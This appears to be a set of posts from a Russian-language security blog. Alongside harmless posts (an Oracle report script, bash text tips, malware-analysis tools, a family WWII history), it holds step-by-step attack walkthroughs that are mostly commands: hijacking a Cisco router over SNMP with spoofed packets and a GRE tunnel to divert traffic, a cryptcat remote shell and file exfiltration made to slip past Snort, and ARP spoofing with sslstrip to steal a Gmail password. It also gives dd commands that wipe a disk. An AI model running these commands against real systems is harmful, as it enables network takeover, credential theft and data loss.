Пост про злое кибердобро или "безопасник зевнул и вООООот такой бэкдор поймал"
cert_ua


Это надо читать глазами головы:
0. Вот что поможет пошарить сэмпл\IOC правильно: АПИ от фейсбукового ThreatExchange, протоколы STIX\RID\ IODEF, язык документирования инцидентов VERIS.
1. Перманентно рутаем Android (cve-2015-1805).
2. DoS, memory corrupt, app crash PHP (cve-2016-3141).
3. Indicator of compromise advanced sharing (MISP+PasssiveTotal) .
4. Учимся ломать SAP ERP черношляпно.
5. Браузим cve по вендору ибо это похоже на КСЗИзм.
6. Twitter акаунт (борда) CSIRT ов.
7. Киберновости от британских учёных.
8. AntiDDoS'истость Вашего энтерпрайза.

ПС: Мишка, тут грамматика, но запил засчитан, заделись сэмплом))

Запрос к ораклу из Linux и вывод результатов в Excel
cert_ua
Мне было нужно выбирать некоторые данные из таблицы СУБД Оракл версии >10 (я знал ИП сервера, логин и пароль, структуру полей таблички) в виде удобочитаемых отчётов на еженедельной основе.
Для получения данных я использовал Linux, на который поставил Клиент Оракла.
Выбранные из БД результаты я сохранял в текстовый файл, немного препарсил, форматировал для удобного импорта в Эксель.
Экселевский файл (готовый отчёт) я регулярно выкладывал в нужное место для последующего забирания конечными получателями готовых отчётов.
Расскажу как я все это делал
0. Я буду ставить клиент Оракла на 64-битную архитектуру. Архитектуру можно выяснить например так:

# uname -a
Linux blackhole 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux

Это важно для того какие файлы пакетов клиента качать - х86 или х64.

1. Зарегался на сайте оракла (это надо чтоб качать дистрибутивы клиента СУБД оракл). Это бесплатно и быстро, а так же даёт возможность качать их софт.

2. Залогинившись в кабинет, ищем пакеты следующих названий (версии могут отличаться, ссылка работает если залогиниться):



Разархивируем их в папку /opt/oracle/instantclient_12_1.

3. У меня надо было указать Линуксу где находится одна либа:

ln /opt/oracle/instantclient_12_1/libclntsh.so.12.1 libclntsh.so

4. Можно пользоваться клиентом, имея логин\пассворд\листенер которые сконфигурированы администратором СУБД Оракл:

Пример 1: прямой передачи клиенту всех нужных ему данных для авторизации и выполнения запроса с выводом на экран показан ниже:

/opt/oracle/instantclient_12_1/sqlplus login/pass@//192.168.1.7:1521/oralistener <<< "select * from dbname.dbtable where field_name is not null and field_id in (108, 18, 130, 208, 10108, 10184, 10253);"

или вот еще пример с привязкой ко времени и выводом результата в файл:

/opt/oracle/instantclient_12_1/sqlplus login/pass@//192.168.1.7:1521/oralistener <<< "select ObjectName from dbname.tablename where id is not null and id in (108, 18, 130, 208, 10108, 10184, 10253) and VIEW_DATE >= systimestamp -interval '3' day;" | cat > /tmp/fetched-data.txt

Пример 2: скрипта, который получает данные в виде текстового отчёта:



Вместо (108, 118 ...) можно поставить $id и скрипту передавать параметром номера.

Пример 3: этот же скрипт с парсингом и форматированием выводимых результатов:



Больше почитать о возможных параметрах которые можно передать клиенту Оракла для поддержки кириллицы можно тут.

Пример 4: Скрипт на Perl который отчёт по примеру №3 из текстового файла преобразует в файл Excel и кладет в папочку, форматируя так чтоб красиво віглядело и читалось:



Использовал Spreadsheet::WriteExcel. Там много примеров использования перл для работі с Ораклом и парсинга с последующим преобразованием в Эксель.

Example of an attack on Cisco router
cert_ua
BT or Kali Linux was used again:

0. Become anonymous and better not to do next steps.
1. Get local ip addressation and so from bad tuned routers
/pentest/enumeration/snmpenum/snmpcheck-1.x.pl -t ip-of-a-route -c public

/pentest/enumeration/snmpenum/snmpcheck-1.x.pl -t ip-of-a-route -c private

2. setup local tftp demon

atftpd --daemon --port 69 /tmp

3. check if it's ok:

netstat -anup | grep 69

4. create a file for to store victims router config locally:

touch /tmp/pwnd-router.conf
chmod 777 /tmp/pwnd-router.conf

5. use scapy for sending a Packet to router:

scapy

packet = IP(dst="192.168.99.100")/UDP(sport=161)/SNMP(community="private",PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.2.1.55.192.168.98.20"),value="pwnd-router.conf")]))

where is 192.168.99.100 - victims router pub ip

6. launch wireshark for broadcast sniffing

7. in scapy's interface make command for Packet sending

send(packet)

...we must see it in our wireshark's interface

8. in scapy' interface we manipulate with scr\dst ip addresses so lets spoof src ip (on that IP which was stealed at stage #1):

packet = IP(src="10.200.0.2",dst="192.168.99.100")/UDP(sport=161)/SNMP(community="private",PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.2.1.55.192.168.98.20"),value="pwnd-router.conf")]))

and send this packet again:

send(packet)

...we must see it in our wireshark's interface MORE packets than our sent 1 packet. If it's so - we successfully hacked router.

9. See config of that router:

cat /tmp/pwnd-router.conf

This is full config and we actually fully control him.

10. Lets make some changes in locally stored routers config and then upload him back.
Add a GRE tunnel between router and attackers PC to this config:

nano /tmp/pwnd-router.conf

....and before strings  with "interface FastEthernet0/0
 ip address blah blah
 ip nat outside
 duplex auto"

...add these lines:

interface Tunnel0
 ip address 172.16.0.1 255.255.255.0
 tunnel source FastEthernet0/0
 tunnel destination 192.168.98.20


where 192.168.98.20 - our attacking PC

11. send our new slightly different packet to victim again from scapy with spoofed source ip addr 10.200.0.202:

q = IP (src="10.200.0.202,dst="192.168.99.191")/UPD(sport=161)/SNMP(community="private",PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.2.1.53.192.168.98.20"),value="pwnd-router.conf")]))

Then send this packet

send(q)

...and see what changes in wireshark. We upload and merge our config to running-config of that Cisco router in this manner.

12. Telnet to this router for check if all is ok:

telnet 192.168.99.191

en

sh run

...find Tunnel0 interface at that config.

13. Start GRE module at attackers PC:

modprobe ip_gre

14. Continue by introdusing new GRE-interface:

iptunnel add mynet mode gre 192.1168.99.191 local 192.168.98.20 ttl 255

15. I'll configure an IP address to this interface and a static route and bring him up:

ip addr add 172.16.0.3/24 dev mynet
route add -net 172.16.0.0 netmask 255.255.255.0 dev mynet
ifconfig mynet up

16. Now we should be able to ping remote router ip (see pinged IP at  section's #10 end):

ping 172.16.0.1

17. Now we maybe want to sniff all traffic from INSIDE interface of a router from attackers PC with wireshark. We need to add next lines to router and upload that config back again:

after line:

ip route 0.0.0.0 0.0.0.0 192.168.99.1

insert:

route-map divert
 map ip address 102
 set ip next-hop 172.16.0.3


So this route-map will applied before default route. We need to apply our route-map to inside interfaces config by adding next string:

interface FastEthernet1/0
 ip address 10.200.0.201 255.255.255.0
 ip nat inside
ip policy route-map divert
 duplex auto
 speed auto

resend a packet from scapy again:

send(q)

18. Use telnet to check if changes are taken place:

telnet 192.168.99.191

en

sh run

19. But we can make DoS attack because our PC can not recieve all traffic from that router. So tune up attackers ip policy:

echo 1 > /proc/sys/net/ipv4/ip_forward

20. And add a route to the internal victims network:

route add -net 10.200.0.0. netmask 255.255.255.0 gw 172.16.0.1

21. Now perforn NAT on this traffic to act as the router for the victim network. For this we use simple iptables rules:

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface mynet -j ACCEPT

Now all traffic must be routed from attackers outside PC to local net of victims router and back. Traceroute it.

Cyber Security Assessment Netherlands 2015: cross-border cyber security approach necessary
cert_ua
subj

Почему я не пользуюсь скайпом
cert_ua
потому что можно узнать время входа/выхода, прихода/ухода на работу, ИПы всех устройств и провайдеров, через которые я выхожу и т.д.

О том как это работает, написано тут.

...интересно, что для совсем свежих и очень старых учёток это не всегда пашет.

Пробить историю ИПа и доменов с ним связанных можно тут или CIRCL MISP так (суррогатые Passive DNS).
Узнать по клиенту.

Пр0стые утилиты для анализа вредоносного софта
cert_ua
Исследователь вредоносного кода должен знать как работает ОС, уметь работать с софтом, сетью, программировать, знать что к чему в машинном коде. Для того, чтобы было ему стало понятно что делает какой-либо кусок машинного кода, достаточно иметь в своём распоряжении несколько простых утилит, о которых я расскажу дальше. Конечно, ими надо научиться пользоваться и их достаточно далеко не всегда.

Поехали.

0. PEiD - утилика для определения типа пакера, криптора и компилятора.

Те, кто пишут малварей, почти всегда пакуют или обфусцируют тело малваря для усложнения их поиска, выявления и анализа. Текущая версия PEiD 0.95 определяет почти 500 сигнатур, которые хранятся в файлике с названием userdb. Офсайт уже не активен(( Дефолтный файл userdb надо заменить скачанным по ссылке.

1. Dependency walker - фриваре для сканирования 32- и 64-битных модулей Windows (.exe, .dll, .ocx и т.д.).

Dependency walker служит для перечисления всех импортированных и экспортированных модулем функций. Аналогичные функции есть и у отладчиков, но эта тулза явно проще. Dependency walker так же показывает минимальный набор зависимостей файла от других, а так же детальную информацию об этих файлах (путь, размер, версия, тип машины, дебажную информацию и т.д.).

2. Resource hacker (иногда его зовут ResHacker) - утилита для извлечения ресурсов (строки, рисунки, меню, диалоги, VersionInfo и Manifest'ы) из двоичных файлов Windows.

3. PEview - инструмент для просмотра хранимой в заголовках (headers) исполняемых PE-файлов (Portable Executable). Этот просмотрщик хидеров может помочь в изучении заголовков файлов реальных малварей.

4. FileAlyxer - фриварная тулза для чтения информации из заголовков PE-файлов, но предоставляет гораздо больше возможностей, функционала чем PEview.
Прекрасная фича - возможность получить отчёт из VirusTotal, а так же распаковка файлов, упакованных с помощью UPX и PECompact.


ПС: да, есть и аналоги и не под винду, я о них знаю -_-

BASH work with text
cert_ua
1. Remove empty strings from file:

cat something.txt | sed '/^$/d'

2. Select only ip addresses from file:

grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" some-text-with-IPs.txt

3. Wipe HDD securely by writing random signs on it (filesystem creating is needed after this):

dd if=/dev/urandom of=/dev/sda bs=1M

...or with using openssl:

head -c 32 /dev/urandom | openssl enc -rc4 -nosalt -in /dev/zero -pass stdin | dd of=/dev/sda bs=1M

4. Bash script for filtration of some text from binary files:

cat > ./scribd.sh

#!/bin/bash
# bin-grep.sh: Поиск строк в двоичных файлах.

# замена "grep" для бинарных файлов.
# Аналогично команде "grep -a"

E_BADARGS=65
E_NOFILE=66

if [ $# -ne 2 ]
then
echo "Порядок использования: `basename $0` string filename"
exit $E_BADARGS
fi

if [ ! -f "$2" ]
then
echo "Файл \"$2\" не найден."
exit $E_NOFILE
fi


for word in $( strings "$2" | grep "$1" )
# Инструкция "strings" возвращает список строк в двоичных файлах.
# Который затем передается по конвейеру команде "grep", для выполнения поиска.
do
echo $word
done

# Как указывает S.C., вышепрведенное объявление цикла for может быть упрощено
# strings "$2" | grep "$1" | tr -s "$IFS" '[\n*]'


# Попробуйте что нибудь подобное: "./bin-grep.sh mem /bin/ls"

exit 0

adding eXecution writes for file:
chmod +x ./scribd.sh

launch example:
./scribd.sh *.jpg /somebinarytext.dmp

result:
root@wo0t:~# ./scribd.sh .jpg /tmp/text.dmp | grep https
https://7.2.201.61/2.jpg
https://23.129.197.50/2.jpg
https://67.222.201.222/2.jpg
https://12.13.23.43/1.jpg
https://45.64.15.1/2.jpg
https://16.68.9.38/12.jpg
https://150.9.49.11/12.jpg
https://27.1.20.53/w2.jpg
https://23.9.18.14/w2.jpg
https://23.92.13.154/w.jpg
https://23.9.13.4/we.jpg

5. Some custom logfile.txt like

FirstSeen LastSeen Count IP Country Company Domain ASN SrcPt Action Request Host UserAgent Node NodeID Threat
2015-09-20 23:59:09.707 2015-09-21 23:56:46.451 2021 123.123.123.234 UA 1066 1046 N 4F:B2:78:6A B68-2-32

may be parsed with oneline bash script:

for i in $(grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" ./logfile.txt); do nslookup $i | grep "name =" | cut -f 2 -d"="; done;

result:
root@wo0t:~# for i in $(grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" ./msiplist.txt); do nslookup $i | grep "name =" | cut -f 2 -d"="; done;
scene.rumour.volia.net.
95.158.3.150.best.net.ua.
108-172-94-178.pool.ukrtel.net.
93-76-214-28.dynamic-FTTB.kharkov.volia.com.
58-233-92-178.pool.ukrtel.net.
46-229-51-21.kievnet.com.ua.
C53xx-lo0.dp.velton.ua.

Апдейт по в\ч прадеда (648 аап ргк или 110 гап)
cert_ua
Ранее я писал о моих попытках найти про моего воевавшего прадеда и его подразделение, информацию.

Я нашёл и рассказал в трёх постах (1, 2 и 3) про его награды и славный боевой путь, а заодно испробовал современные источники информации на эту тему.

Вот новое обновление:

В марте 2013 года РПЦ освятила боевое знамя недавно передислоцированной в п. Тоцкое-2 Оренбургской области. Об этом подробно написано тут.


Историческая справка по вч 32755 (так теперь в РФ называется ) такова:

История воинской части 32755 берет свое начало 23 июня 1941 года. Спустя месяц – 23 июня 1941 года артиллеристы приняли первый бой севернее Кишинева, долгое время не давая противнику переправиться через Днестр. В начальном периоде Великой Отечественной войны офицеры и солдаты части пережили отступление и тяжелейшие оборонительные бои под Николаевом, Донецком, Харьковом, Ростовом. За годы войны полк и бригада прошли 8,3 тысячи километров, артиллеристы произвели около 85 тысяч выстрелов по противнику. Из 1418 дней войны только 54 дня часть была в резерве, еще около ста – на формировании или в резерве фронта, а остальные дни – в боях в составе войск 9-ой, 12-ой, 37-ой, 38-ой, 66-ой, 21-ой, 2-ой гвардейской, 44-ой, 28-ой, 3-ей гвардейской и 5-ой ударной армий.
Батареи части участвовали в знаменитой артподготовке 19 ноября 1942 года, возвестившей начало операции по окружению войск фельдмаршала Паулюса. «За участие в героической обороне Сталинграда» личный состав 648-го армейского артполка РГК награжден медалью «За оборону Сталинграда» (указ Президиума Верховного Совета СССР от 22.12.1942).
За отличия в боях с немецкими захватчиками в Сталинградской битве 648-ый аап РГК преобразован в 110-й гвардейский армейский пушечный артиллерийский полк РГК (приказ НКО СССР от 01.03.1943 № 102).
10 мая 1943 года из Москвы доставлено гвардейское знамя и приказ № 102 НКО от 1 марта 1943 года – за мужество и героизм, проявленный в боях за г. Сталинград, бригаде присвоено звание «Гвардейская».
10 апреля 1944 года за мужество, храбрость и отвагу, проявленные при освобождении г. Одессы, бригаде присвоено почетное наименование «Одесская».
За участие в освобождении Варшавы личный состав бригады награжден медалью «За освобождение Варшавы».
19 февраля 1945 года за образцовое выполнение заданий командования в боях по овладению городов: Сохачева, Скерневицы, Ловига и проявленные при этом доблесть и мужество бригада награждена орденом «Красного Знамени».
28 мая 1945 года за проявленное мужество, отвагу и героизм при взятии Берлина бригада награждена орденом Богдана Хмельницкого II степени.
За участие в героическом штурме и взятии Берлина личный состав бригады награжден медалью «За взятие Берлина».
Места дислокации: 1945-1994 годы – в составе Советских войск в Германии; 1994-1999 годы – п. Тоцкий Оренбургской области; 1999-2001 год – г. Пермь; 2001-2012 г – п. Звездный Пермского края. С 2012 года – п. Тоцкий Оренбургской области

Лично мне интересна судьба боевого знамени кумачёвого цвета, что на фото этого репортажа (если конечно это оригинал). Эдакий артефакт)


Так же знаю что обновился движок сайта http://podvignaroda.ru и теперь наградной листок прадеда выглядит примерно так:

http://podvignaroda.ru/?#id=17044374&tab=navDetailDocument

True криптография
cert_ua
Прикольная на мой взгляд утилитка, входящая в состав BackTrack и Kali Linux - cryptcat. Она не только умет создавать соединение между двумя ПК на любом порту (как это делает netcat), но и шифрует это соединение алгоритмом twofish (алгоритм разработки Bruce Schneier'а).

Шифрование сессии [почти идеально] скрывает от систем выявления вторжений информационный обмен, даже если он происходит через обычные порты 80 и 443.

Поехали /взмахнул ногой

1. Качаем cryptcat под винду отсюда.
2. Открываем слушающий сокет (listener) в винде на порту, скажем, 9119, после чего запускаем командный интерпретатор (shell):

cryptcat -l -p 9119 -e cmd.exe

3. Запустим Snort в качестве этого Вашего IDS на машине с Linux чтобы слушать траф и услышать, если он будет  подозрительным в процессе взаимодействия

snort -dev -c /etc/snort/snort.conf

4. Коннектимся с помощью cryptcat к винде

cryptcat 192.168.0.199 9119

Если всё ок - должно появиться приглашение шелла винды. Дальше дело за расширением полномочий. Так как пересылка шелла через сеть - атака, то проверим что отловил snort своими правилами. По идее, в случае незашифрованной передачи cmd.exe стриггерится соответствующая сигнатура. Но мы не увидим ничего подозрительного в логах снорта - /var/snort/alerts


5. Пересылка cryptcat через 80 порт и обход фаерволла

Ладно, криптованное соединение создано, но оно использует заметный для внимательного админа порт 9119, который он заблочит руками, либо ногами фаерволом.

Для общения через интернеты необходимы порты 80 и 443, а опционально - 25, 53 и 110. Но порт 80 открыт всюдуц и везде, его и используем для создания шифрованного соединения, как наиболее незаметный и широко используемый.

Итак, на машине-жертве под виндой создам очень-важный-документ.txt, который отошлю (вместо шелла винды как в прошлый раз) в зашифрованном виде.

cryptcat -l p 80 < очень-важный-документ.txt

Теперь приконнекчусь к жертвенной винде, указав айпи и порт, на котором она слушает:

cryptcat 192.168.0.199 80

Проверка логов снорта порадует стабильностью отсутствия каких-либо событий безопасности. Ну и хорошо.

Так-то.

Перехват данных из SSL-соединения (читаем почту юзеров локалки через https)
cert_ua
Покажу и расскажу как с помощью утилиты sslstrip перехватить данные которые передаются по защищенному SSL-соединению.
Утилитка sslstrip в моем примере (после проведения атаки типа ARP-spoofing на жертву) перехватит запрос веб-клиента жертвы на установление защищенного SSL-соединения и заставит его использовать незащищенныый протокол HTTP. Далее я просто подсмотрю то, что делает жертва, не обратившая внимание на то, что она читает почту не по HTTPS, а по HTTP.

Вы убедитесь в том как просто можно организовать атаки типа MITM на SSL путем техник arp-spoof и проги sslstrip.

Поехали.

В моем примере жертва - виртуалка с ИПом 10.10.11.163 (обычная тачка с виндой), ПК с которого я атакую - 10.10.11.85 с установленной ОС Kali и с sslstrip (эта утилита предустановлена в пентестерских дистрибутивах Kali\BackTrack Linux). Между нами шлюз с ИПом 10.10.11.1.

1. При заходе жертвы на gmail.com ее кидает на адрес https://gmail.com и это нормально. Естественно, пароли и логины к почте жертвы мы в открытом виде не видим.

2. Включаю маршрутизацию трафика на ПК с Кали:

echo "1" > /proc/sys/net/ipv4/ip_forward

и настраиваю iptables таким образом, чтобы весь http-трафик направлялся на порт 81:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 81

теперь заставлю жертву считать, что моя тачка - это шлюз (проведу атаку ARP-spoofing) с помощью команды

arpspoof -i eth0 -t 10.10.11.163 10.10.11.1

теперь трафик жертвы ходит через мою тачку и (согласно моего правила iptables) форвардится на 81 порт.

3. Запускаю sslstrip

sslstrip -a -l 81 -w /root/Desktop/ssllog.txt

это создаст файлик лога прямо на рабочем столе и начнет писать в него перехваченный http-трафик (собственно, перехватываться-то будет HTTPS, но он будет strip'аться). Ну вобщем, запускаю на консоли смотрение этого файлика:

tail -f /root/Desktop/ssllog.txt

4. Жертва идет на свою почту

Для чтения почты жертва как всегда лезет в MS Explorer (хехе) и вводит там gmail.com. Но браузер почему-то не перекидывает жертву на https (в адресной строке http)! На рисунке ниже изображено то что увидит жертва в последний миг перед тем, как я узнаю ее пароль и логин.



Жертва жмакает "Войти"...а на моем окошке, куда выводился перехваченный трафик я вижу следующее:



Как видно, пароль 1q2w3e4r5t6y...

Чтобы избежать угроз, связанных с перехватом начала SSL-соединения, надо:
- не юзать гаджеты в недоверенных сетях, даже если это очень надо (злодей может устроить MITM с гораздо бОльшей вероятностью, скажем, в аэропорту путем установки rogue wireless access point, чем ломанув корпоративную сеть вашей организации);
- шифровать почту симметричными протоколами шифрования (пишу и думаю о PGP);
- платить нормальную зарплату админу чтоб у него не возникало желания шпионить за вашими сотрудниками таким образом;
- следить за ARP-таблицей и юзать оборудование/софт, которое отслеживает подбные атаки;
- регулярно обновлять ПО из доверенных легальных источников.


Помните, что статья иллюстрирует то, что запрещено законом и примеры в ней приводятся с целью показать простоту организации атак на SSL в исключительно образовательных целях.

?

Log in